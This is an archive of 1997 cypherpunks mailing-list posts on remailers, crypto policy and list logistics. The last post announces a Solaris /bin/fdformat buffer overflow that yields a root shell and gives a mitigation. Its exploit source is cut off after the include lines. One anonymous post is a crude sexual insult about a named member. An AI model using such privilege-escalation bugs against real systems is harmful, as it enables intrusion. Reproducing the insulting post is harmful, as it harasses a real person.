> Yes, have experienced the same thing. "Connection call failed".
> Seemingly a lot of people have checked out their (hacked) page
> anonymously and they must have disliked that idea a lot...
> Which brings out a whole new issue though: is there a way besides
> the Anonymizer to view a page anonymously?

I think there are ways to read web pages via email.  Using a nymserver
and one of these services would be a pretty secure way to read web
pages.  Not very interactive, though.

Adam

-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Mar 1997 08:50:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Gilmore is sabotaging the lists again
In-Reply-To: <9703221538.AA23607@uu.psi.com>
Message-ID: <s7X14D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I cc:'d this to cypherpunks@cyberpass.com; one week later is bounced

]Subject: Returned mail: Cannot send message for 1 week
]
]   ----- Transcript of session follows -----
]While talking to www.cyberpass.com:
]>>> MAIL From:<dlv@bwalk.dm.com>
]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
]
]   ----- Unsent message follows -----
]To: kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski)
]Cc: cypherpunks@cyberpass.com
]Subject: The mysterious disappearance of 1400 subscribers and gateways
]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
]Comments: All power to the ZOG!
]Message-Id: <152L4D39w165w@bwalk.dm.com>
]Date: Sat, 15 Mar 97 09:01:23 EST
]In-Reply-To: <199703151216.NAA01640@titan.tele.pw.edu.pl>
]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
]
][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
]
]kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
]
]> Hi, I remember that you ara one of the most active people on cypherpunks
]> list. I've got the simple question: what the current status of cypherpunks
]> list is? Is the list moderated? The last posting that I've received is dated
]> on Feb 20... It was a couple of weeks ago.... :((
]
]Cypherpunks is currently an unmoderated distributed list. You can send the
]command 'subscribe cypherpunks' to one of several sites:
] majordomo@algebra.com
] majordomo@ssz.com
] majordomo@cyberpass.com
]
]You can send submissions to cypherpunks@ any of these sites.
]
]If someone (Dale?) has saved the output from several 'who's over the last
]few months, it might be a good idea to e-mail them once and to tell them
]this. Apparently the new subscription instructions never made it to those
]who remained only on the moderated list.
]
]Wseho Nalepshego.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 23 Mar 1997 08:16:54 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four Horseman)
In-Reply-To: <v03020920af59dd3df26e@[139.167.130.246]>
Message-ID: <v03020901af5af7b23329@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:07 am -0500 on 3/23/97, Timothy C. May wrote:

> I'd bet that generating such a counter-poll would be a waste of time. The
> Denning poll has already been distributed by the Infowar crowd; it is
> unlikely in the extreme that Schwartau and his crowd would have any
> interest in minimizing the dangers.
>
> Sort of like trying to counter Pat Robertson's "poll" on "The 700 Club"
> with a counter-poll...what's the point?
>
> Besides, crypto _will_ be used for "crimes." This is, after all, our intent.

As always, Tim is right.

I actually didn't see this as something "we" should actually "do". I saw
this more as a humorous exercise for list's entertainment.

For instance, here's an example of a question that Dorothy and Winn
*should* have asked:

"In your extensive use of the internet in your professional capacity as the
CIO of a Fortune 50 corporation, have you encountered the use of
cryptography in acts of genocide?

Ecologic holocaust?

Thermonuclear terrorism?

The use of asteroid impact to destroy all life on earth as we know it?"


Or, as an example of some questions for the Official Cypherpunks
Cryptography Push-Poll:

"Have you ever seen or heard of a government which used deliberately
weakened cryptography in it's own operations?"

"Do you believe that a government which knows *everything* about you can be
trusted with that information?"

"Do you believe that the U.S. Constitution was written to control the
behavior of government, or that of private citizens? Why do you think this
is the case?"


;-)

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 23 Mar 1997 09:11:26 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Gilmore is sabotaging the lists again
In-Reply-To: <s7X14D2w165w@bwalk.dm.com>
Message-ID: <199703231703.LAA18225@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dzien Dobry, pan Dimitri.

Dr.Dimitri Vulis KOTM wrote:
> 
> I cc:'d this to cypherpunks@cyberpass.com; one week later is bounced
> 

The right domain name is cyberpass.net, not cyberpass.com.

whois cyberpass.com

[rs.internic.net]
Westport Trade & Barter Company, Inc. (CYBERPASS-DOM)
   539 27th Street
   San Francisco, CA 94131
   USA

   Domain Name: CYBERPASS.COM

   Administrative Contact:
      Medeiros, Raymond P  (RM1442)  ray@NEWGATE.NET
      (415) 206-1701 (FAX) (415) 206-0919
   Technical Contact, Zone Contact:
      Secure Network Systems Hostmaster  (SNS3-ORG)  hostmaster@SECURE.NET
      tel.: 801-224-9346  fax.: 801-224-6009


   Record last updated on 14-Dec-96.
   Record created on 09-Mar-95.

   Domain servers in listed order:

   NS1.SECURE.NET		192.41.1.10
   NS2.SECURE.NET		192.41.2.10


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

whois cyberpass.net

[rs.internic.net]
infonex (CYBERPASS2-DOM)
   5145 Manhasset Dr. #131
   San Diego, CA 92115

   Domain Name: CYBERPASS.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Cottrell, Lance  (LC113)  loki@OBSCURA.COM
      (619) 667-7969 (FAX) (619) 667-7966

   Record last updated on 21-Oct-96.
   Record created on 19-Sep-95.

   Domain servers in listed order:

   NS1.INFONEX.NET		206.170.114.2
   NS2.INFONEX.NET		206.170.114.3
   CASS151.UCSD.EDU		132.239.146.151
   NS1.PBI.NET			206.13.28.11
   NS.C2.ORG			208.139.36.36


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

Do widzennia.

igor

> ]Subject: Returned mail: Cannot send message for 1 week
> ]
> ]   ----- Transcript of session follows -----
> ]While talking to www.cyberpass.com:
> ]>>> MAIL From:<dlv@bwalk.dm.com>
> ]<<< 451 queuename: Cannot create "qfIAA10925" in "/usr/spool/mqueue" (euid=35): Disc quota exceeded
> ]
> ]   ----- Unsent message follows -----
> ]To: kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski)
> ]Cc: cypherpunks@cyberpass.com
> ]Subject: The mysterious disappearance of 1400 subscribers and gateways
> ]From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> ]Comments: All power to the ZOG!
> ]Message-Id: <152L4D39w165w@bwalk.dm.com>
> ]Date: Sat, 15 Mar 97 09:01:23 EST
> ]In-Reply-To: <199703151216.NAA01640@titan.tele.pw.edu.pl>
> ]Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
> ]
> ][cc:'d to c-punks who were wondering what happened to the 1400 lurkers ]
> ]
> ]kszczypi@tele.pw.edu.pl (Krzysztof Szczypiorski) writes:
> ]
> ]> Hi, I remember that you ara one of the most active people on cypherpunks
> ]> list. I've got the simple question: what the current status of cypherpunks
> ]> list is? Is the list moderated? The last posting that I've received is dated
> ]> on Feb 20... It was a couple of weeks ago.... :((
> ]
> ]Cypherpunks is currently an unmoderated distributed list. You can send the
> ]command 'subscribe cypherpunks' to one of several sites:
> ] majordomo@algebra.com
> ] majordomo@ssz.com
> ] majordomo@cyberpass.com
> ]
> ]You can send submissions to cypherpunks@ any of these sites.
> ]
> ]If someone (Dale?) has saved the output from several 'who's over the last
> ]few months, it might be a good idea to e-mail them once and to tell them
> ]this. Apparently the new subscription instructions never made it to those
> ]who remained only on the moderated list.
> ]
> ]Wseho Nalepshego.
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 23 Mar 1997 08:09:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting Job Offer
Message-ID: <Pine.GSO.3.95.970323110835.21845A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


>From *Nuclear News*, 3/97:

YOUR OFFICE IS THE WORLD

You are interested in the constant changes on the world stage and
you want to become a part of it.  Your workplace becomes this
dynamic world arena when you choose a career as an overseas
Operations Officer with the Central Intelligence Agency.

PUT YOUR TECHNICAL EXPERTISE TO GOOD USE

Right now, we are seeking highly motivated men and women with
degrees in scientific and technical fields.  To qualify, you must
combine proven personal integrity and trustworthiness with
qualifications in:

+ Electrical/Electronic Engineering
+ Computer Science
+ Physics
+ Nuclear Engineering
+ Mathematics

We are particularly interested in individuals with undergraduate
or postgraduate degrees in these disciplines who also have work
experience in telecommunications, satellite communications,
programming, networking, Internet communications or technology-
related R&D efforts.

A UNIQUE CAREER THAT IS NOT FOR EVERYONE

If it's right for you, you'll know it. And you'll know you can't
find it anywhere else.  You must have a strong interest in
international trends and events, in how advanced technologies
impact areas such as international terrorism, narcotics
trafficking, weapons development, world ecology and political
stability.  Apply your technological expertise to support U.S.
security and make a positive difference in our world.

COMBINE ACADEMIC EXCELLENCE WITH STREET SMARTS

It takes more to qualify for this unusual career track than just
technical expertise.  You will be working in multicultural
environments with foreign nationals, so you must be comfortable
and "at home" anywhere in the world.  Excellent written and
verbal communication skills and foreign language proficiency are
essential tools of your trade.  Previous overseas residence or
extensive foreign travel are definite assets.

U.S. citizenship or legal resident status is required.  All
applicants must successfully complete a thorough medical and
psychiatric exam, a polygraph interview and an extensive
background investigation.  The CIA encourages applications from
men and women of every racial and ethnic background from all
parts of the country.

To apply, send your resume, along with a cover letter describing
your interest in working overseas as a CIA Operations Officer. 
We will respond within 30 days if your application is evaluated
as being of interest.

Central Intelligence Agency
Thomas Benning
Dept. YOW-NN397
P.O. Box 12708
Rosslyn Station
Arlington, VA 22209

The CIA is an equal opportunity employer

CAREERS FOR A CHANGING WORLD

Circle Reader Service No. 57






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: (Alec)camcc@abraxis.com
Date: Sun, 23 Mar 1997 08:49:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: FWD: [PGP-USERS] Private Idaho banned
Message-ID: <3.0.1.32.19970323114951.007b7530@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

>Resent-From: pgp-users-request@rivertown.net
>X-Sender: joelm@mail.eskimo.com
>Date: Sun, 23 Mar 1997 06:57:45 -0800
>To: pgp-users@rivertown.net
>From: Joel McNamara <joelm@eskimo.com>
>Reply-To: pgp-users@rivertown.net
>Subject: [PGP-USERS] Private Idaho banned
>
>Just got some interesting correspondence from someone in the United Arab
>Emirates.
>
>It appears the government is blocking access to my Private Idaho
>distribution Web page.  Apparently the UAE only allows ISP customers to
>access the Net through a proxy server, similar to Singapore.  They're
>blocking out the typical nasty porn sites, Cindy Crawford fan clubs, etc.
>
>Well, obviously someone over there finds Private Idaho subversive enough to
>block.
>
>Tsk, tsk, tsk.
>
>I'd appreciate any other accounts of countries that are blocking
>http://www.eskimo.com/~joelm/pi.html or http://www.eskimo.com/~joelm.
>Wonder if the UK will be next?
>
>Joel
>

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMzVfKCKJGkNBIH7lAQE0ywQAr6SGyK+CUhzTPHSVmWAHlpKortgAUGl7
YWNQ+M9JplKfZhpJhH7KY4xtkmqoPlSZIRYGdobHlvTcPruzv0WmuMA/neXHuhJx
LJQYiNxiN+cqobhrlCjce6h73HKBdi2qPgRQsLshnmbRJ/ddydThauWMp1qTruhv
HiOlmlth0U0=
=GXJy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 12:06:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] Cyclic codes
Message-ID: <199703232006.MAA02034@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C. Mayo studied yoga back-streching 
exercises for five years so he could blow 
himself (nobody else will).

     ))))
    ))  OO  Tim C. Mayo
    6   (_)
    `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 23 Mar 1997 14:09:15 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] Cyclic codes
In-Reply-To: <199703232006.MAA02034@mailmasher.com>
Message-ID: <Pine.A41.3.95.970323150538.54778A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 23 Mar 1997, Huge Cajones Remailer wrote:

Vulis what is the point of this.

> Tim C. Mayo studied yoga back-streching 
> exercises for five years so he could blow 
> himself (nobody else will).
> 
>      ))))
>     ))  OO  Tim C. Mayo
>     6   (_)
>     `____c
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Mar 1997 15:43:13 -0800 (PST)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: A cypherpunk push-poll ? (Was Re: Dorothy and the four  Horseman)
In-Reply-To: <v03007816af5acc86787a@[207.167.93.63]>
Message-ID: <3.0.1.32.19970323154127.005d3770@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:32 AM 3/23/97 -0500, Robert Hettinga wrote:
>For instance, here's an example of a question that Dorothy and Winn
>*should* have asked:
>
>"In your extensive use of the internet in your professional capacity as the
>CIO of a Fortune 50 corporation, have you encountered the use of
>cryptography in acts of genocide?
>
>Ecologic holocaust?
>
>Thermonuclear terrorism?
>
>The use of asteroid impact to destroy all life on earth as we know it?"

Well, in my extensive use of computers back when I was a tool of the
military-industrial complex, I did encounter the use of computer security 
techniques in planning for thermonuclear terrorism; it's difficult to find
a better term for pointing tens of thousands of warheads at your enemies,
while they have tens of thousands of them pointed at you, and both of you are
plotting about what you think the other guys will do so you can do it to
them first, or so you can do something else to them to block it.
Ecological holocaust?  Nuclear winter was disbelieved, though I did know a 
meteorologist whose doctoral thesis advisor was working on germ warfare 
dispersal modelling, and The Customer didn't think in terms of genocide, 
just "nuking them till they glow" and "making the rubble bounce" and
"pre-emptive strikes".

Me?  I just kept the computers running while the physicists tried to model
what this sort of behaviour would do to the Phone Company, and how to
let the military get useful phone services pre-, trans-, and post-attack,
though once in a while I'd help them with some data structures..

On the other hand, while we did have occasional lectures on astronomy
from our Research folks, we were pretty well-behaved with asteroids.

But today we know that Eurasia and Oceania have always been friends,
and haven't figured out yet that Oceania and Eastasia have always 
been enemies, so the only nuclear terrorists we have to worry about are 
the ones who'll do sneaky things like hiding their bombs in bales of cocaine 
so nobody'll notice when they drive them across the border and up to the 
White House loading dock, and the Constitution explicitly doesn't say
that it's illegal to wiretap foreigners, so we're pretty safe for now.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 15:53:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Dr. Roberts" and his advice to the list
Message-ID: <199703232353.PAA01058@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



Timothy C. May wrote:
> At 10:25 AM -0800 3/23/97, "Dr. Roberts" wrote:

> >The remailer network itself may be treated as a black box.  This means
> >that if you suspect certain people are posting messages to a certain
> >list you need only watch the timing of the suspect's posts to verify
> >guesses.  This makes an attack on the remailer network quite
> >inexpensive because you need to monitor a relatively small number of
> >people in your jurisdiction.

> If a mix accumulates, say, 100 messages, and posts one of them to some
> destination, no amount of "timing" analysis points to which of the 100
> incoming messages was the  source...this is the essence of mixes/remailers.
> (Modulo the usual assumptions about message size, encryption, etc.)

  I wouldn't be so certain about this.
  Consider the fact that the remailers can be initially studied through
relatively _pure_ analysis, for starters. i.e. - a series of slow
periods of remailer use where and entity can ensure that almost all
of those 100 messages belong to them.
  Thus the remailer can be studied for non-random patterns that may be
unknown even to the operator himself.

  Then consider the fact that many of the people using remailers have
habits and patterns that can easily be studied and followed. 
  i.e. - Time periods online, standard delay time used in posting
commands, frequency and volume of their posts. 
  You must also consider context and syntax analysis that point to the 
true author of anonymous posts, and the fact that, once known, their
personal systems can be monitored to reveal the exact time and nature
of their input into the remailers.
  Even knowledge of killfiles can eliminate some of the overhead for
traffic analysis, eliminating some sources as being responsible for
volume of anonymous email directed at certain subjects or authors.

  Many of the factors involved in traffic analysis can be obtained
outside of the realm of actual input and output of the remailers
themselves, thus narrowing the range of _unknown_ factors in that
analysis.
  Certainly there has been much thought and consideration given to
the remailer system, by people who allow for various methods of attack
on and/or analysis of their system. However, the assumption of 100
_random_ messages can drop pretty fast when one takes into account
the number of factors that may turn some of these messages into 
quantifiable and easily analyzed entities. Add to this the possibility
of factors that are known to the attackers, but not to the defenders,
and the margin of security drops even further.

  Care must be taken to realize that even if one is making efforts to
conceal their email traffic, that the results of their efforts are
also affected by the person who always posts between 4 and 6 pm, who
always posts via the same remailer and who always uses a 2 hour delay 
command in his posts.
  One needs to remember, as well, that with the capabilities of autobots
and switching mechanisms, that to flood a system or systems at certain
critical times is an insignificant obstacle to inputing a large quantity
of _know_ data into the frame of analysis.
 
> >  Would anybody like to post some references?  What
> >is required to have a rock solid remailer network?
> >
> >Dr. Roberts
> 
> Why not do the research into these references yourself and then post them?

  This is an asinine statement.
  If you are interested in furthering the interests of privacy through 
encryption and remailers, why don't you aide someone asking for pointers
to better information?
  Is this list reserved for those who already know it all?
  Can you say "statist?" Sure, you can.

> As for what it would take to make a rock solid remailer network, go back
> and read some of the many hundreds of articles many of us have written on
> this subject, read Chaum's original 1981 CACM short article, and carefully
> study DC-Nets.

  If all information was in those articles, then I suspect that the
remailers would already be "rock solid."
  Rather than living in the past, as if all possibilities had already
been discussed and decided, it might better serve some list members to
take their hard-earned knowledge and apply it to today's situation,
with new technologies, methodologies, routings, etc.
  Not only have these things changed, but the types and number of
people who use them have also changed, thus changing the scope of
possible approaches to traffic analysis.

TruthMonger


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 23 Mar 1997 16:02:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <199703240002.QAA01518@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***

> >They are
> >dropping like flies, unfortunately.
> > use of the remailer to spam people who have
> > already turned off access to their accounts from other sources,

> > The final
> > straw was the use of the remailer to send out several
> > hundred "MAKE MONEY FAST"-style messages to a group of
> > folks who then rebelled or retaliated to the remailer itself;

  Several months ago, someone (Toto, I believe) posted a thoughtful
message suggesting that the burgeoning Internet would result in a
huge influx of carpetbaggers of one sort or another, and that the
established entities, such as lists and remailers, had best be making
plans to deal with the changing frontier or suffer the consequences.
  Another person, whose name escapes me, as she rarely posts, replied
that she thought the post would prove prophetic, much more so than
people believed.

  I mention this mostly to point out that it has been only a short time
since this prediction was made, and it is already coming to fruitation
in more than a few areas.
  Survival is going to mean adjustment to the fast changing conditions
of the growing Internet. Social and political issues are going to impact
developments as much or more than technology, and any entity which 
cannot adapt in these areas will die off, like the dinosaurs.

  While I sympathize with the remailer operators for having to deal with
spamming problems, spammers and assholes did not suddenly appear out of
nowhere in the recent past.
  The quickening pace of changes in the future will no longer allow
system operators and administrators to wait until problems become
unmanageable before they make plans to deal with them.

  In addition to pure anonymous remailers, perhaps there is a need for
variations, as well, which encompass varying forms of subscription or
authentication. Perhaps limiting the number of posts from an address,
raising that limit according to gained reputation capital.
  As far as anonymity being maintained, is it possible for the system
files which log identity/address to be encrypted with a password that
is not known to any human, but only to the system? i.e. - even with a
court order, there is no way for the operator to provide the info.
  Lessening the legal hassles could spread the use of remailers, with
many being resistant to abuse. Those to whom the anonymity is very
important would not have any problem finding the remaining pure 
remailers. Most of the quick-buck crowd would probably not make the 
effort to find them, having assumed, from the spam resistant remailers,
that they are not a valid option for them.

  If cypherpunks are serious about making remailers available to the 
public then we will need to make them both useable and functional for
those who might be open to running them.
  This cannot be done by making them only useful for 'pure' use. If 
someone were to design a remailer that would only let whites use it,
there would be a great hue and cry, but there would also be more 
remailers available, shortly thereafter. Then someone would design one 
that could only be used for minorities, etc.

  If you really want to spread the use of remailers, design them so that
you can make a pile of money off of them, in a good way. Then get rich
while you further their development and use.
  

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sun, 23 Mar 1997 13:12:05 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Remailer problem solution?
In-Reply-To: <3.0.1.32.19970322204155.007231a8@mail.io.com>
Message-ID: <Pine.LNX.3.95.970323155218.144B-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 22 Mar 1997, Greg Broiles wrote:

-> At 01:56 PM 3/22/97 -0800, nobody@hidden.net wrote:
-> 
-> >Why would not one of these solutions work?
-> >
-> >1. Accept and send PGP encrypted messages only.
-> 
-> This "works" in that it reduces the number of people subjected to messages
-> they don't want to see, but it also makes it more difficult (or impossible)
-> to use remailers for tasks like:
-> 
-> sending info to crypto-illiterate reporters/politicians/whatever
-> ("whistleblowing")
-> sending messages to newsgroups and mailing lists which don't have a shared
-> private key

This is only a practical problem related to PGP's lack of popularity.
The proposed solution will work in the long run, assuming PGP achieves
great popularity.  Thus, education of the public concerning PGP and remailers
will help make this solution more effective.

Of course, interim short term solutions should be sought as well.

-> >2. Keep a list of addresses of people who do not wish to receive mail
-> >from the remailers.
-> 
-> This is done already, but the group of people who don't want to recieve mail
-> from remailers but haven't signed up yet (because they don't know about
-> remailers) is orders of magnitude bigger than people who've signed up. Mostly
-> people get on the block list(s) because they've already been mailed things
-> they didn't want to see; by the time they learn about blocking, it's too
-> late.

Information explaining blocking could be sent with each piece of mail from
a remailer.  Alternatively, to conserve bandwidth, a pointer to a web-page
could be attached.

-> Also, it's difficult to apply this solution to many remailers - should all
-> remailers block an address because one remailer operator claims to have
-> received a request? Or should each operator act alone, which means that one
-> anonymity-hostile end user must send multiple block requests?

A web page could be dedicated to propagating multiple block requests, in
the manner of those extant sites which propogate new web-page information 
to search engines.  This could also be made easy, intuitive, and mostly 
transparent to the end user.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 23 Mar 1997 13:27:28 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
Message-ID: <3.0.1.32.19970323162740.007c32a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Sun, 23 Mar 1997 15:09:25 -0500 (EST)
>From: "Fred B. Ringel" <fredr@joshua.rivertown.net>
>Reply-To: fredr@joshua.rivertown.net
>To: pgp-users list <pgp-users@rivertown.net>
>Subject: [PGP-USERS] *** THE HAYSTACK REMAILER IS GONE ***
>
>Hi all-
>
>	Here's another one from this week (in addition to jpunix). They are
>dropping like flies, unfortunately.
>
>	Boy, this really, really stinks.
>
>	Fred
>==========================================================================
>
>   *** IMPORTANT NEWS REGARDING HAYSTACK@HOLY.COW.NET ***
>
> The Bovine Remailer, also known as haystack@holy.cow.net, is
> hereby CLOSED. Mail sent to that address will bounce; I don't
> know on a technical basis what putting it in the middle of a
> remailer chain will do. There are no other remailers or anon
> services associated with cow.net.
>
> It has been a fun year, but the simple fact is that running
> a remailer is a thankless, embittering, nasty job. For every
> success story of alternate or persecuted viewpoints seeing
> the light of day, there are another four or five cases of
> legal threats, use of the remailer to spam people who have
> already turned off access to their accounts from other sources,
> and the extremely disturbing trend of posting newsgroups
> with falsified From: Headers, intending to cause endless spam
> bots to mail the forged address. No one carefully put in a
> forged address to endanger or misrepresent another person, 
> but it was only a matter of time.
>
> Haystack was running on a Sun 3/280 at the cow.net loft. At
> the peak, this machine was recieving over one thousand 
> e-mails a day, doing PGP calculations, and sending them out,
> and the 30mhz processor wasn't up to the task. The final
> straw was the use of the remailer to send out several 
> hundred "MAKE MONEY FAST"-style messages to a group of 
> folks who then rebelled or retaliated to the remailer itself;
> everyone associated in this sucks. 
>
> If you think this is a shame, then put up your own remailer;
> no doubt you'll have a thicker skin that the admins of
> haystack, and will somehow flourish under the increasingly
> fascist and overbearing environment of the Internet, but
> the games up here, for now.
>
> Yes, for now. We might return some time in the future,
> should technical and financial issues be solved, but it seems
> rather unlikely at this juncture.
>
> Once again, if you enjoyed using haystack, you might consider
> fighting the good fight and putting up your own. A good,
> solid increase in remailers might save the culture. It is
> nearly a crime that so much perfectly powerful computer
> hardware exists out there, hooked to the net, and a mere
> dozen computers, in our case quite aged, were/are doing the
> remailing work.
>
> So, well, like we said, it's been a blast. See you later.
> Moo.
>
> - The Haystack Administration.
>
>/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
>Fred B. Ringel			--	Rivertown.Net Internet Access
>Systems Administrator		--	http://www.rivertown.net
>and General Fixer Upper		--	Voice/Fax/Support: +1.914.478.2885
>	Although in theory, there's no difference between 
>	theory and practice, in practice, there is.
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Mar 1997 08:21:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Britain to ban free use of crypto?  (fwd)
Message-ID: <199703231605.RAA20665@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


[This message was run through an anonymizer as a spam-blocker.  My .sig
is at the end.]

 "Peter D. Junger" <junger@upaya.multiverse.com> stated:

>After a very quick reading of this proposal I am convinced that all it
>would do if implemented by legislation that follows its recommendations
>would be to forbid those who are in the UK from using an unlicensed
>key escrow services.
>
>It quite clearly does not intend to ban the use of cryptography or the
>publication of cryptographic software.  

FWIW, the speaker from the UK government at CFP '97 described the proposal
in almost exactly these terms.  And tried to make clear that greater bans
were not on the agenda, at least for now. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian Schipor <skipo@Math.PUB.Ro>
Date: Sun, 23 Mar 1997 07:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Remake: buffer overflow in /bin/fdformat + exploit (Solaris2.X)
Message-ID: <Pine.SUN.3.95.970323175715.2710G-100000@euler.math.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



motto: " No one would have believed in the last years of the nineteenth
century that this world was being watched keenly and closely by
intelligences greater than man's and yet as mortal as his own; that as men
busied themselves about their various concerns they were scrutinised and
studied, perhaps almost as narrowly as a man with a microscope might scru-
tinise the transient creatures that swarm and multiply in a drop of
water."
			H.G.Wells - "The War of the Worlds"


Sun Mar 23 16:56:15 EET 1997 Romania

"Remake for bufer-overflow in find_media() now in /bin/fdformat"

The buffer overflow bug I posted to you in Mar 13 1997 is present in
/bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions
the suid-exec bit on and it is owned by root). By exploiting fdformat with
suid-exec bit on, anyone can gain a root (or who is the owner of fdformat)
shell. So, to prevent an fdformat exploit, remove the suid-exec bit from
/bin/fdformat. 

Cristian Schipor - Computer Science Faculty - Bucharest - Romania
Email: skipo@math.pub.ro, skipo@sundy.cs.pub.ro, skipo@ns.ima.ro
Phone: 401-410.60.88

See http://www.math.pub.ro/security

My exploits (with argv[1] you can change the STACK_OFFSET, +- x, x=8*k
k=1,2,3,...): 

--------------------------- lion24.c ---------------------------------
/*
Solaris 2.4
*/

   #include <stdio.h>
   #include <stdlib.h>
   #include <sys/types.h>
   #include <unistd.h>
   
